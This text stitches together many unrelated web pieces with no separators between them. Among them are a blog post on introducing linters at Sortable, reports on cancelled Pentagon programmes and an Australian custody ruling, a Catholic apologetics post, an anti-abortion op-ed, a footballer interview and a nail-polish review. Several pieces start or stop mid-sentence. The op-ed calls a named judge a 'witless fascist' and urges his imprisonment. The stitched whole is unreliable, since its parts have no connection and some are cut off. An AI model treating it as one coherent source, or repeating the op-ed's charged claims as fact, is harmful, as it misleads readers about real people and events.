Ordinarily, we look down at coaches throwing their players under the bus. In this case, with conversations about being eaten alive as the alternative, we’ll allow it.Due to events in Sortable’s past, the bulk of the Sortable codebase predates almost all of its employees. Our code spans a variety of languages, from the business logic written in Scala and Clojure, to Python and Bash glue scripts, and of course various Javascript to be run in the browser. As the company continues to grow, bringing new developers up to speed on company standards and style is going to become increasingly important and time consuming.
Believing that it’s gentler on the ego to be told off by a computer than a fellow human, and that correcting style issues in the code review process distracts from more important matters, we started rolling out Scalastyle and Scapegoat in one of our Scala projects under active development.
Early enforcement of these standards was largely voluntary. For example, attempting to run a build locally using SBT would fail if there were style errors, but the build servers (which run Maven instead) would happily compile it. Despite the relaxed enforcement policy, after several days of work the project had been cleaned of lint, and several bugs were found.
After this early success, we decided to expand the effort to other languages and have lint checks enforced in the code review process.
The result of this initiative was a Python module that would be called by the build script with a list of projects modified by the commit. The script would walk each project’s directory, and run Pylint on any files ending in.py, and shellcheck on any file ending with.sh or starting with an appropriate shebang. If a.scala file was encountered, it would look up a list of directories to project name mappings generated using sbt baseDirectory and add the project name to a set of projects to run sbt scapegoat on after the directory walk was finished. If a project.clj file was found, it would run lein eastwood, lein kibit, and lein bikeshed. While errors from Kibit and Bikeshed would be collected, only those from Eastwood were allowed to signal a failure as neither Kibit nor Bikeshed allowed the silencing of certain types of lint.
Since a file that hasn’t been modified recently is more likely to be obselete, if a Python or shell script hadn’t been modified this year it is grandfathered-in and ignored by the linter. This policy helped reduce the number of shell and Python warnings by a factor of 6.
As each project was cleaned, they would be added to the list of projects to enforce lint rules on — if somebody submitted a pull request for that project containing lint, the build would fail and they would be forced to clean it up before checking in. I made a deliberate decision to enforce lint only on pull requests — if things are dire enough to require a direct push to master, the time spent checking and enforcing lint would just get in the way. This could result in lint that would block later developers’ commits, but in practice this hasn’t been a problem.
In several weeks, we managed to eliminate all Python and shell lint warnings from the codebase. Here are some lessons we learned along the way:
We generate a nightly report of lint reports remaining. These reports are rolled up into a progress report that we render using D3.js. This makes it easier to track progress and encourages efforts to eliminate the warnings.
Most linters can be convinced to produce machine-readable output instead of, or in addition to, their normal human-readable output. This is extremely useful not only for generating reports of lint warnings in formats other than plain text, but also for distinguishing between levels of lint severity, rather than relying on the strict pass/fail of the linter’s return code.
Code reviews go faster and more smoothly when fixes are grouped into commits by fix type rather than location. This is particularly relevant for Python fixes, where a script that had previously been indented with two-space indents or tabs might have every almost line changed. If the whitespace changes are in their own commit, it’s easier to verify that only whitespace is being changed, and that the behaviour of the code shouldn’t change.
This is especially important for projects with a significant legacy component as it might be very difficult to test the changes necessary to fix lint “the right way”. In these cases, it is faster and safer to just suppress the warning locally. It might rankle that the lint hasn’t been cleaned up properly, but: Warning suppressions appear inline with the code, are easily searchable, and make it clear to any future maintainer that there is work there to be done. The longer you wait before enforcing lint errors as build errors, the more new lint can creep into the codebase.
Linting is often an educational experience. While fixing lint warnings I learned a number of new things about the languages that we use, ranging from the fascinating to the frightening.
Although there’s still a lot of work left to do in fixing up much of the legacy Scala code, already the linting effort has paid off: multiple bugs were found during the clean-up effort, and other bugs were prevented from ever entering the codebase in the short time we have implemented our linting.In 2011, the Army doled out its first contracts to develop new armored vehicles that could carry a full nine-man infantry squad. Building the fleet of 1,800 new vehicles was expected to cost a whopping $29 billion.
In its 2015 budget request Tuesday, the Obama administration officially asked Congress to kill the ground combat vehicle program, with Defense Secretary Chuck Hagel requesting that military leaders draw up a “realistic” — read: less expensive — replacement.
But there’s a problem: The Pentagon has paid some $1.2 billion to defense contractors BAE Systems and General Dynamics since 2011 to develop the program, according to Inside Defense.
And though the Army will not have a single vehicle to show for that spending, it won’t be getting its money back.
The ground combat vehicle program is just the tip of the iceberg. Since President Obama took office, his administration has spiked a slew of major programs the government spent tens of billions of dollars to develop but will now never finish.
Some highlights:
Future Combat Systems. It was the biggest, and most ambitious, acquisition program the Army ever planned: a brigade of weapons systems, from tanks to drones and war-fighting software, all connected over an advanced wireless network. Its projected budget swelled to $159 billion. By the time then-Defense Secretary Robert Gates nixed the program in 2009, the Pentagon had already spent around $19 billion to develop it.
Airborne Laser. The U.S. spent 16 years and $5.2 billion to develop the program dubbed “America’s first light saber,” an aircraft armed with a laser capable of shooting enemy missiles out of the air. Gates killed plans for a second plane in 2009, and three years later the existing aircraft was put into storage in the “boneyard” at an Air Force base in Arizona.
Expeditionary Fighting Vehicle. This amphibious assault vehicle, envisioned as a tank that swims from sea to shore with 17 Marines on board, was canceled in 2011 after ballooning costs and poor performance. Its development costs notoriously ate up $3.3 billion.
That’s just a smattering. Other unfinished programs spiked by the Obama administration include the now-aborted VH-71 presidential helicopter, the Transformational Satellite Communications System, the National Polar-Orbiting Operational Environmental Satellite System, the CG(X) Cruiser, the Joint Tactical Radio System Ground Mobile Radios, and the Medium Extended Air Defense System.
That list alone totals more than $50 billion, and there are undoubtedly others tucked within the Pentagon’s labyrinthine budget.
Regardless of the exact tally, the wasted funding does not necessarily mean it’s a mistake to kill the programs. Doing so can save big money in the long term. If the military believes it would be better served by a different option — or if the money is needed for a more crucial program — then continuing to invest in these expensive programs would have been throwing good money after bad.
The Pentagon was unavailable for comment on this issue Tuesday, but the Army’s acquisitions chief, Heidi Shyu, has said the ground combat vehicle was “sacrificed” to save other programs in a shrinking budget. There was simply no money to fund it, she said last week, and its cancellation had nothing to do with its performance.
But even those who support the decision to spike the projects will concede that this is far from the ideal outcome, and that it would have been better if the projects had never been started at all.
“[When] you invest in products you’re not going to be able to afford to buy, you’re just wasting money,” Frank Kendall, Defense undersecretary for acquisition, technology, and logistics, told an industry conference in January. The Pentagon, Kendall said, is trying to learn from its past mistakes and to plan today’s investments better so that the programs they spawn can be around in decades to come.
Kendall, who previously worked as a consultant on the Army’s Future Combat Systems, called it a “notorious example” of an overly ambitious program that probably was never affordable. “But nobody sat down and did that long-term planning analysis to say, ‘Can we really do this? Are the budgets in the future going to support this?’” Kendall said. “The answer would have been, I think pretty obviously, ‘No.’ “
It’s not just the Pentagon that needs to be more disciplined to avoid squandering investments.
Virtually all the major forces in Washington have a hand in this.
Politically speaking, the Defense Department — and Congress — often view future programs as easier targets for reductions than older systems with entrenched constituencies on Capitol Hill. Congress has for years rebuffed Pentagon demands to close bases or slow the growth of military health care and benefits, and has overturned the military’s decisions to retire aging platforms that bring jobs to their districts.
The stop-and-start nature of the budget in recent years, when lawmakers have been unable to pass a full year’s budget on time, has also taken its toll on the Pentagon’s complex web of literally millions of government contracts, worth hundreds of billions of dollars. “Congress needs to exercise more discipline in setting funding levels and sticking to them,” said Todd Harrison of the Center for Strategic and Budgetary Assessments.
The intense budget pressure is a driving force behind the cancellations.
Since the start of the Obama administration, the Pentagon has committed to cutting at least $500 billion from its planned budget over 10 years as the military emerges from an era dominated by long wars in Iraq and Afghanistan. Even before the Budget Control Act of 2011 finalized the Defense Department’s constrained budget trajectory, Secretary Gates cut a slew of programs in 2009 because they were not performing well enough (or were not affordable enough) to meet the tougher bottom line he expected in the future.
But now, the Pentagon is in the throes of implementing another half-trillion-dollar cutback it does not support, because Congress has so far failed to fully repeal sequestration and agree on another way to reduce the deficit.
So even with its money-saving initiatives, “the uncertainty is driving us crazy,” Kendall told an industry conference last week. When the Pentagon calculated some three years ago whether the ground combat vehicle would be affordable, he said, “we were looking at very different projections for our budget.”
That uncertainty trickles down to industry. Contractors may be forced to raise their prices over the long term as their programs are delayed. Cost overruns and delays can make future programs appear even less desirable.
Of course, Obama is not the only president to cut programs after investing in them. The Clinton, Reagan, and George H.W. Bush administrations also trimmed big-ticket programs. Even George W. Bush was no exception. For instance, he axed the Comanche helicopter, intended to be the Army’s advanced, stealthy, and light attack helicopter, in 2004 after pouring $7.9 billion into its development.
Still, the $50 billion worth of failed investments in recent years is both a waste of taxpayer dollars and a missed opportunity for the Pentagon, Harrison said. Military procurement funds surged in the last decade of war as the defense budget increased — “but we didn’t get much out of it,” he said.
The Pentagon should be kicking itself. “Because in the next 10 years, we’re not going to be able to spend that kind of money on developing new systems,” Harrison said. “We’re going to be stuck with what we’ve got.”Select to highlight: Tags | People | Institutions | Precedents |
Selfish separated parents who try to stop their children having a relationship with their former partners are having the kids taken off them by courts.
See Ridgely & Stiller [2014] FCCA 2668
A judge recently took the “drastic step” of ordering that a girl, eight, who had lived with her mother since her parents separated when she was 13 months, instead live with her father.
Changing the child’s primary carer from the mother to the father was the only way the girl could have a meaningful relationship with both parents, Judge Evelyn Bender decided.
The mother had for years interfered with her daughter’s court-ordered time with her father, who did not see his child for months at a time.
“The mother tells (the child) that her father is going to take her away and not allow her to ever see her mother again,” Judge Bender said.
The anxious little girl had told a Court family consultant it was her dream to be able to “love Mummy and Daddy at the same time”.
Brisbane family law specialist Deborah Awyzio said it was only in extreme cases that a child was taken away from one parent and put in the care of the other.
“This is a warning that parents need to be child-focused in every parenting decision they make and not self-focused,” Ms Awyzio said.
“People think it is extreme when a child is removed from the carer they have been with, but the focus is on the child’s right to have a meaningful relationship with both parents.”
In the recent case the court heard the couple, who separated in 2007 after five years together, had been in ongoing litigation over their daughter’s living arrangements.
The court heard the mother’s unremitting campaign to undermine her child’s relationship with her father distressed the child, who loved both parents.
Judge Bender said if the girl lived with her father she would be “allowed to be a child”.
She gave the father sole responsibility for the child’s health and education and allowed the mother to spend time with the girl on alternate weeks and during holidays.
Related Family Law JudgmentsThis is a color enhanced version of the infrared signal to make the Double Helix Nebula's features easier to see. The spots are mostly red giants and red supergiants. Many other stars are present, but are too dim to appear.
Magnetic forces at the center of the galaxy have twisted a nebula into the shape of DNA, a new study reveals.
The double helix shape is commonly seen inside living organisms, but this is the first time it has been observed in the cosmos.
"Nobody has ever seen anything like that before in the cosmic realm," said the study's lead author Mark Morris of UCLA. "Most nebulae are either spiral galaxies full of stars or formless amorphous conglomerations of dust and gas-space weather. What we see indicates a high degree of order."
These observations, made with NASA's Spitzer Space Telescope, are detailed in the March 16 issue of the journal Nature.
Disk-driven shape
The DNA nebula is about 80 light-years long. It's about 300 light-years from the supermassive black hole at the center of the Milky Way. The nebula is nearly perpendicular to the black hole, moving out of the galaxy at a quick clip-about 620 miles per second (1,000 kilometers per second).
Magnetic field lines at the galactic center are about 1,000 times stronger than on Earth. They run perpendicular to the black hole, but parallel through the nebula. Scientists think that twisting of these lines is what causes the double helix shape.
While the black hole might be the first culprit to come to mind, it's more likely that the magnetic field lines are anchored to a giant gas disk that orbits the black hole several light-years away, researchers say.
It's like having two strands of rope connected to a fixed point, Morris said. As you spin the strands, they braid around each other in a double helix fashion. In this case the gas and dust of the nebula makes up the strands.
"It's as if there's a bar across the middle [of the black hole], or a dumbbell shape, where the strands are anchored, and as it spins around, it twists the strands together," Morris told SPACE.com.
This process takes a long time, though, since the disk completes one orbit around the black hole roughly every 10,000 years. But that's an important number. "Once every 10,000 years is exactly what we need to explain the twisting of the magnetic field lines that we see in the double helix nebula," Morris said.
The recipe
The recipe for a DNA nebula is strict but simple. It requires a strong magnetic field, a rotating body, and a nebulous cloud of material positioned just right.
Massive central black holes are the best sources for both the strong magnetic field and rotating body, and since most large galaxies have them, Morris expects DNA-like nebula may be common through out the universe.
"I absolutely expect to see [this configuration] in gas-rich galaxies with all these elements in place," Morris said.
However, these nebulas are tough to spot, and current technology limits scientists' observations to our galaxy.Photo c/o: Edwin Dwyer
There has been a question that has been nagging me from the back of my mind for the past few years. Every time I try to silence it, it only grows louder:
“What’s the point in being ‘right’ when it comes to religion?”
When I struggled with deciding whether I wanted to continue being a Catholic in the past few years, I often asked myself “Which denomination is the ‘right’ one? They all have their disagreements, so which church is the most convincing? Which one makes the best arguments?”
I was looking for a church that matched my interpretations of the things I’d read in the Bible (which, at the age of seventeen, I was not nearly as familiar with the Bible as I should have been). In doing so, I thought I would find the church that was “right” for me and therefore “right” on what it preached on. All the other churches would be viewed as “wrong”.
In the recent year, as I’ve delved deeper into the Catholic faith, I get people asking me all the time “What is the point in being ‘right’? What real difference does it make?” I have to admit, it’s not always an easy question to answer.
But here is my answer:
I believe that when Jesus said “I am the way, the truth, and the life” (John 14:6), he meant it.
That is what I want to build my life around; the notion that Jesus is the way, the truth, and the life. If I am to fully embrace this notion, then I do not need to find a church that matches my interpretations, desires, and emotionally-driven preferences; I need to find a church that matches the truth that is found through Jesus Christ. I do not need to find a church where someone talks about what he thinks about Jesus, I need to find a church where the fullness of Jesus Christ can be found.
When I began to pray for my heart and mind to align with God’s, not for God to fit with my heart and mind, I found truth in the Catholic Church. It was not just a church that praised Jesus, it was the church that truly encapsulates all that is Jesus Christ.
So when it comes down to theological debates such as “Is confessing your sins to a priest necessary,” I don’t think it’s a good idea to use your personal opinion and see which church supports your opinions. We shouldn’t settle at “I don’t think it should be necessary, therefore I’ll find a church that supports my opinion.” Instead, we should look at what Jesus says about it, research the context of such verses, and see which church most lines up with Jesus’ teachings.
Though many people will try to point out flaws in the following statement, I will say it anyways: There is nothing that can be found in the Catholic Church that cannot be traced back to the truth found in the ways of Jesus Christ. (Disclaimer: This is not to say that Catholic individuals themselves are perfect.)
I write this today knowing full well that many people may stop reading my blog posts after this. Many people will start to (if they haven’t already begun to) call me a “stereotypical close-minded Catholic”.
If you’ve ever conversed with me, you’ll find that I’m more than willing to listen to what you have to say and will not try to diminish you because I view you as “wrong”. I am open-minded in seeing things in a new light and in experiencing new perspectives on things. However, my mind, like anyone else’s, closes around truth. My mind closes on the truth that is Jesus Christ. I don’t believe something just because the Catholic Church tells me to, I believe something because it encompasses Jesus himself. It just so happens that the two have been in full communion with each other for the past 2,000 years.
That is not to say that I think other churches are completely wrong. It is not as though the Catholic Church gets a 100% and all other churches get a 0% on the “accuracy scale”. There is truth that can be found in nearly every church. I’ve been to churches where almost everything they said matched up with the truth that can be found in Jesus. But when they said or did something (or didn’t say or do something) that did not embody all of who Jesus is, they simply couldn’t be viewed as being 100% “right”. Because other churches have hints of the truth, but do not convey the whole truth, I would say most of them are around an 85% on my terribly illogical scale, as opposed to a 100 or 0. Just because they are not Catholic does not mean they are completely “wrong”, there are just certain aspects of what they do or do not do that do not match up with the whole of Jesus.
And so I conclude by repeating what I’ve been trying to convey throughout this blog: The Catholic Church is not just another church with its own set of interpretations; it is the Church that features all of Christ, who is “the way, the truth, and the life”. If you’re struggling to relate to a church, don’t look for one that matches your preferences and opinions- look for the one that encompasses the truth found in Jesus Christ. Though many churches talk a lot about him, none of them can fulfill the desires that Jesus had when he spoke about the earthly church that would exist after his resurrection. None, except the one that he himself established, the Roman Catholic Church.
“And I tell you that you are Peter, and on this rock I will build my church, and the gates of Hades will not overcome it.”
Matthew 16:18
AdvertisementsThe Iron Man weapons system is the most advanced weapons system on the planet, used exclusively to resolve problems caused by it being built in the first place.
Just The Facts
Tony Stark is a genius, and decided to stop making weapons. He then built an armor-plated personal killing machine. We admit that we aren't geniuses, and may therefore be missing something.
Main Enemies
The Iron Man armor system is notoriously error-prone, and by "error-prone" we mean "at least the blue screen of death never tried to repulsor your face off." Approximately 50% of Stark's enemies have been his own suit gone rogue/sentient/hacked/whatever, the other 50% have been people stealing it, and a revolutionary extra 50% on top of that have been the suit driving good guys wearing it insane. Yes, Tony Stark can invent more problems than mathematically possible, and yes, it would have been much less trouble for everyone if he'd just got into World of Warcraft.According to the Huffington Post UK: “A ‘very damaged’ 13-year-old girl was ordered to have an abortion by Britain’s most senior family judge, it has been revealed.
The girl, who cannot be named for legal reasons, was impregnated by a 14-year-old boy and initially wanted to keep her baby.
That’s right. This girl, because she was considered mentally incompetent, was forced—forced—to have her child dismembered, decapitated, and disemboweled by the medical establishment because one Sir James Munby decided that capital punishment was most appropriate for being the child of a someone he described as “very…impaired.”
Is this China, or the United Kingdom? The UK’s government intrusion has gotten draconian, mind you, but really? They also have the right to forcibly enter a female’s uterus and kill and extract her pre-born offspring?
Apparently, yes. In spite of the fact that the court was informed that she “had set her mind against a termination,” the witless fascist Munby responded that, “Leaving to one side her own wishes and feelings, the preponderance of all the evidence is clear that it would be in her best interests to have a termination.”
Oh, good. We already shrug when children are aborted for any number of frivolous reasons, but now the State can step in and “leave to the side” the wishes of those who possess sufficient maternal instinct to desire life rather than “termination” for their offspring, and decide what is in her best interests.
Munby, by the way, demanded the abortion for this girl against the wishes of experts testifying at the trial, who warned that, “If the pregnancy were terminated I believe that this would cause considerable harm to this young girl, who would see it as an assault….Continuing the pregnancy…may have a less detrimental effect on her given her current circumstances.”
Right. Because a male judge ordering a thirteen-year-old girl, against her will, to have her cervix forced open by a stranger and have her innocent pre-born child suctioned into bloody scraps is basically medical rape by any definition. And demanded, not just sanctioned, by the State, represented here by Comissar Munby.
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In addition to the medical expert, the psychiatrist charged with evaluating her warned that the girl would fully understand what the abortion entailed (for some, apparently, there is still a visceral opposition to the killing of our own young), and told the judge that based on her “unambiguous” opposition to having an abortion, she should not be forced to have one.
Sir Munby’s response to the girl’s refusal and the testimony of medical experts and her psychiatrist?
“It was clearly appropriate for me to supply the necessary consent to enable the termination to proceed.”
I’m not sure what corpse-carpeted dystopian vision of the State that Munby has that has lead him to believe he has the right to force a girl into stirrups to have her child violently crushed, evacuated, and pitched in the trash, but it’s a horrifying one indeed. This thirteen-year-old disabled girl has a more functioning and acute conscience than Sir James Munby. His career should be terminated, and he should be locked up for the safety and best interests of any other poor unfortunate girl that might be forced to appear in his kangaroo court.
LifeNews Note: Jonathon Van Maren writes for the Canadian Center for Bioethical Reform.Denied a chance to appear for the IIT-JEE exams because he is visually impaired, an 18-year-old who scored 96 percent in his Class 12 CBSE has opted to study at Stanford University in the US."I would love to pursue my studies in my country, but the depressing guidelines of IIT-JEE last year have made it impossible for blind students to appear in the JEE (joint entrance exam)," Kartik Sawhney, who scored 479 out of 500 in the Class 12 exam conducted by the Central Board of Secondary Education (CBSE), told IANS.Till last year, blind students were exempted from visual input in JEE and had to attempt only the theory questions. However, a change in regulations disallowed visually impaired students to attempt the theory questions and they were not allowed to use assistive technology."The new policy also prescribed a scribe and reader only from humanities or commerce streams. How could he read out complicated mathematical equations from the question paper," Kartik asked."I had to fight to get a course like computer science in my Class 11 as the CBSE was objecting," Kartik said.A student of Delhi Public School, R.K.Puram, in south Delhi, Kartik scored 99 in computer science and 95 each in mathematics, English, physics and chemistry. He scored 479 out of 500.Urging that the education system should be more sensitive and tolerant towards the disabled, Kartik said: "We need to embrace change and the examination body was simply not willing to change the guidelines. They said they would not allow a scribe with a science background, saying that he would help me cheat. I said I would pay for the invigilator or an IIT professor to be my scribe, but they did not agree."Kartik will be getting nearly $66,000 a year in scholarship from Stanford University on the basis of his economic status. He leaves for Stanford on September 2.SATURDAY, Oct. 6 (HealthDay News) -- The really scary thing about Halloween can be the amount of candy that children get and eat.
To ensure a safe and healthy Halloween for kids, here are some tips for parents from Dr. William Gillespie, a pediatrician and chief medical officer at EmblemHealth:
Give children a healthy snack before they go trick-or-treating so that they'll be less tempted to eat their sweets as they go door-to-door. Make sure your children understand that they can't eat any of their candy until you check to make sure it is safe. Get rid of homemade treats made by strangers.
Allow your children to pick out a few of their favorite treats to have right after trick-or-treating. Keep the rest of their candy out of sight and allow them only one to two pieces when they ask for it.
Consider trading a toy or extra allowance for your children's candy. If they are young enough, say the "Candy Fairy" will substitute a toy for the candy if they leave it out for her.
Be a role model by consuming Halloween treats in moderation yourself. Also, it's a good idea to buy candy at the last minute and get rid of leftovers to avoid temptation.
Let caregivers such as grandparents and babysitters know the rules on candy, which will prevent children from getting mixed messages.
Think about giving out non-food treats such as stickers, toys, temporary tattoos, bubbles, small games or colored pencils. If you prefer to give out candy, choose bite-sized ones and hand out dark chocolate (it has antioxidants) or hard candy (it takes longer to eat).
More information
The U.S. Centers for Disease Control and Prevention offers more Halloween health and safety tips.THE videos were set to the James Bond theme tune and labelled as a “shocking mega-exposé”. They were released by an investigative website called Cobrapost on March 13th, and have hit the share prices of India’s biggest private-sector banks. The sting consisted of a journalist with a secret camera walking into bank branches, where he claimed to be linked to an unnamed politician whose house could no longer contain his cash. Staff in many branches were only too willing to help launder the money, usually by fiddling the rules for setting up accounts and insurance policies. “Yes, yes, don’t worry, sir, all people do this,” replied one bank official.
The lenders and their regulator are looking into the allegations. Even if they are bogus, they tap into a well of mistrust. A 2009 e-mail claimed that Indians held more money in Swiss banks than people from all other countries combined. It was a hoax, but still went viral.
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Gauging the scale of the problem is hard. A 2010 World Bank study of 151 countries concluded that India’s shadow economy, defined as legal activity concealed from the authorities, was equivalent to a fifth of official GDP (confusing matters, it is unclear to what extent India’s official GDP already captures the black economy). That is roughly double the level of the best rich countries, but below the global average and most other emerging nations. The last vaguely official study was in 1985 and had a similar answer—19-21% of official GDP.
Both estimates look too low, especially if all types of dodgy activity are included. About 85% of jobs are in the informal sector, which is typically cash-based. Corruption is common—both “retail” small bribes and “wholesale” scams involving powerful politicians. It seems likely that things have deteriorated since the mid-1980s. True, the tax code has been improved, and the effective tax rate big firms pay has risen. But the boom of the past two decades is seen by many as a gilded age to rival 19th-century America’s, with a cast of chancers and robber barons to match.
Take tax. Only 42,800 people declare income of over 10m rupees ($184,000) a year. India’s |
plus another 30,000 in coupons for free pizzas that were given to people still waiting in line after supplies ran out and business hours had ended.[8]Based on the wildly popular DC Comics series "Hellblazer," seasoned demon hunter and master of the occult John Constantine (Matt Ryan) specializes in giving hell... hell. Armed with a ferocious knowledge of the dark arts and his wickedly naughty wit, he fights the good fight - or at least he did. With his soul already damned to hell, he's decided to leave his do-gooder life behind, but when demons target Liv (Lucy Griffiths), the daughter of one of Constantine's oldest friends, he's reluctantly thrust back into the fray - and he'll do whatever it takes to save her. Before long, it's revealed that Liv's "second sight" - an ability to see the worlds behind our world and predict supernatural occurrences - is a threat to a mysterious new evil that's rising in the shadows. Now it's not just Liv who needs protection; the angels are starting to get worried too. So, together, Constantine and Liv must use her power and his skills to travel the country, find the demons that threaten our world and send them back where they belong. After that, who knows... maybe there's hope for him and his soul after all.It's a sign of how far Anthony Martial had flown under the radar that Wayne Rooney had to find out who he was when news emerged of Manchester United's interest in the teenager last summer.
Rooney approached Martial's French compatriot Morgan Schneiderlin for information during United's flight back from Swansea in August, and filled in the gaps on Google.
Nine months on, everyone knows Martial. Sitting down at United's Carrington training ground, very much part of the furniture and looking forward to an FA Cup final in his first season in England, he smiles about the Rooney tale.
Anthony Martial arrives with his Manchester United team-mates at their hotel in Wembley on Friday afternoon
The Frenchman (right) has proven many critics wrong with his impressive performances this season
Wayne Rooney (right) had to Google Martial before he arrived... but he certainly knows who he is now
'Well, he knows me now doesn't he!' says Martial, aware that United's captain was not the only one bemused by the club's decision to spend an initial £36million on a relatively little known forward from France.
'I've heard that story. I guess it's pretty amusing,' he says. 'I don't know whether it's true but it doesn't bother me at all.
'It's not a case of proving anything to other people. I don't pay too much attention to that. I want to prove to myself that I can succeed.'
Many questioned United's wisdom in allowing experienced strikers such as Javier Hernandez, Robin van Persie and Radamel Falcao to leave while putting so much expectation on Martial's young shoulders.
The deal with Monaco, which could rise to £58m, made him the most expensive teenager in world football. He had moved there from Lyon only two years earlier for £4.4m after four first-team appearances.
Martial, shy off the pitch and remarkably calm on it, turned 20 only in December and has taken it all in his stride. The final will be his 49th game of a season in which he has scored 17 times.
Van Gaal arriving at the team hotel not far from Wembley ahead of the FA Cup final
Martial speaks to Sportsmail ahead of Saturday's FA Cup final; he is confident about United's chances
The United squad were in high spirits as they trained on Thursday ahead of the weekend's game
I'd love to be an icon but I'll need to score a lot of goals
That total includes a dramatic late winner in the semi-final against Everton last month. Martial is the man Crystal Palace will fear most on his return to Wembley on Saturday.
'I didn't try to put too much pressure on myself,' he says. 'Obviously, people mention the price tag but I just came here to do my best. What helped was that I'd already gone through quite an expensive transfer in the past when I moved from Lyon to Monaco.
'I just tried to remain true to who I am as a person. I've always been quite calm and relaxed, and had confidence in my ability.
'Things have gone relatively well but I feel deep down I could have done better. I hope things will go even better next season.'
Even for a player renowned for his speed, Martial has adapted incredibly quickly. He scored four goals in his first four games — including a brilliant effort on his debut against Liverpool at Old Trafford in September. It is, he says without hesitation, still his favourite.
Martial (centre) adapted very quickly to the English game; he scored four times in his first four games
The Frenchman wheels away in celebration after scoring against Everton in United's previous trip to Wembley
MARTIAL'S SEASON SO FAR Matches played: 48 Goals scored: 17 Assists: 5 Pass Success: 75.8% Yellow Cards: 4 Red Cards: 0 Source: Who Scored
'It just couldn't have been a better way to start. From being a kid I'd dreamed of playing at Old Trafford and to score in my first game in such a way against United's biggest rival — it couldn't have turned out better.
'It freed me up and helped me settle in. I drew a lot of confidence from scoring. Fortunately, things started to go well from that moment and I kept scoring regularly.'
And it's not just goals. His assists are also vital to Louis van Gaal's side, terrorising defences down the left with quick feet and devastating acceleration.
Martial prefers to play through the middle but his versatility has drawn comparisons to Thierry Henry, who graduated from the same Paris-based club, CO Les Ulis. So, too, the cool demeanour and clinical eye for goal. Paul Scholes has gone so far as to say Martial doesn't 'look bothered' if he scores.
'I'd heard that,' he says. 'Not happy when I score? Scoring makes me happiest because it's what it's all about. I'm really happy inside but I'm not a guy who shows that sort of emotion on the outside too much.'
Martial prefers to play through the middle but has terrorised defences down the left with his pace this season
Manchester United's first-team squad and staff headed for London on the train on Friday afternoon
Now an integral part of France's squad for Euro 2016, Martial has been linked with a return to Paris Saint-Germain but insists he is happy in Manchester. The fans have taken to him, even though it is too early to bestow the legendary status enjoyed by another famous Frenchman.
Eric Cantona scored the winner to beat Liverpool in the 1996 final and Martial would gladly settle for a similar outcome against Palace.
'I love Manchester and see myself being here for a good while yet,' he says. 'If I was to become an icon I'd be very happy but you can't possibly say at this stage. It depends how I play, how many goals I score and how I perform in the years to come.
'I'll need to score a lot of goals and the team will need to pick up trophies. We're going to do everything we can to bring the FA Cup back to Manchester.'Esports is thriving in the Visayas.
Electronic Sports in the Philippines’ central region, the Visayas Islands, is in the spotlight once again and this time, it’s on the Negrenses as Dumaguete City, the capital of Negros Oriental, will be host to the eSNL Summer Major, a competitive gaming event to feature Dota 2, Counter-Strike: Global Offensive, and NBA 2K17.
Organized by the Electronic Sports Negrense League, and the Negros Oriental Sports Confederation, the month-long event will kick off with its qualifier matches starting with CS:GO this coming May 13 and 14, followed by NBA 2K17 on May 20 and 21, and Dota 2 which will be this coming May 25 and 26.
The Grand Finals for all tournaments will be held at the Lamberto Macias Sports and Cultural Center on May 28, 2017, and will have a combined prize pool of PHP 33,500.
Albeit, the format, and the prize pool may not be as comparable as the other major tournaments happening in Luzon, the eSNL Summer Major still proves that pro gaming is well and alive in other parts of the Philippines and can be added to the long and major push for Esports to be recognized positively as the event is also held together with a local government body.
The eSNL Summer Major is now the second major Esports event happening in the Visayas, with the other one being the NS Domination League which is a PHP 210,000 Dota 2 tournament happening in Cebu this coming July 2017.has just what we need. Say hello to the I Hate Winter Trio!
has been released as of yesterday January 6th and is now available for purchase. Each bottle retails for $10.00 each and the full-size trio retails for $25.00. There are plenty more purchasing options, so I'll have that at the end of this post.
Turtle Tootsie Polishes - Sub Zero Chill
Turtle Tootsie Polishes - Winter Blues
Turtle Tootsie Polishes - Blizzard Blahs
has been released as of yesterday January 6th and is now available for purchase. Each bottle retails for $10.00 each and the full-size trio retails for $25.00. You have the option of adding on the anniversary polish for an additional $5.00 in full-size. The mini trio retails for $15.00 or $18.00 if you decide to add-on a mini anniversary to the combo. Individually each polish can be purchased in mini-size for $6.00. Lots and lots of purchasing options for all our budgets, love this about
Hiya guys! How's it going today? I don't know how it's been for you guys, but winter in Jersey has been nonexistent. Up till last week we've had weather in the 60s. Now this is the kind of winter I could get used to. Don't get me wrong, I love me some snow but Christmas is over so I'm over it haha. Luckily for those of us who are over the season Turtle Tootsie Polishes Theby Turtle Tootsie Polishes can be described as a light blue scattered holo polish with holo silver glitter polish. Unfortunately I'm not a fan of intense shimmer polishes like this one, so it did nothing for me personally. I do have to note though I really like the silver glitters in it, they have a beautiful nice holo reflection. The formula is on the sheer and thin side, so it needs a bit of layering for an opaque finish. The best way to apply this polish is to use the sponging technique. I think I will definitely try to sponge less next time because the glitter in this polish tends to clump. Shown here is two coats sponged over a white undie and sealed with a glossy topcoat.can be described as a linear holographic blue polish. This is without a doubt the star of the trio for me. My photos are taken indoors, but rest assured the holo in this beauty is really strong. The formula is really great, but has a sheer first coat. It builds up really smoothly, giving you a rich opaque finish easily. Shown here is two coats sealed with a glossy topcoat.can be described as a white shimmer polish. Initially I wasn't sure how I was going to feel about this polish, but it definitely won me over in the end. Shimmers are a love and hate relationship with me as you can probably tell, haha. The formula has a really sheer consistency, but it ends up evening out on the nail. I do feel this would best be suited worn over a solid base color, but it does become opaque within a few layers on its own. Shown here is three coats on its own and sealed with a glossy topcoat.Along with the release, Chrissy also released a special limited edition polish for her cancer-free anniversary! Here's 4 Years & Counting!can be described as a a muted pink, almost plum-purple, scattered holographic polish. Words cannot express how much I adore this polish! It's absolutely gorgeous and has just the right amount of subtle holo. Formula and consistency have a great balance, not too thick or too thin. It's really opaque, impressively so. I felt like it almost didn't need the second coat. Shown here is two coats and sealed with a glossy topcoat.To celebrate being a 4-year cancer survivor, you can purchase the '4 Year Survivor' pink limited edition color at a discount with this listing. While supplies last. I'll have the pricing options at the very end of the post!Overall I think this is a really great trio, especially for those who love shimmers! Turtle Tootsie Polishes never disappoints when it comes to holos for me personally, so I definitely recommendhands down. So tell me guys, which one is your favorite?Theby Turtle Tootsie Polishes Turtle Tootsie Polishes.Express News Service By
NEW DELHI: Within days of government formation in Delhi, a public spat has broken out between the ruling AAP and the BJP over who should take credit for stopping the demolition of slums in the city.
On his first day as Chief Minister, Arvind Kejriwal announced that no demolition would be carried out. The BJP on Tuesday hit back saying the Delhi government was seeking credit for something the Centre had accomplished.
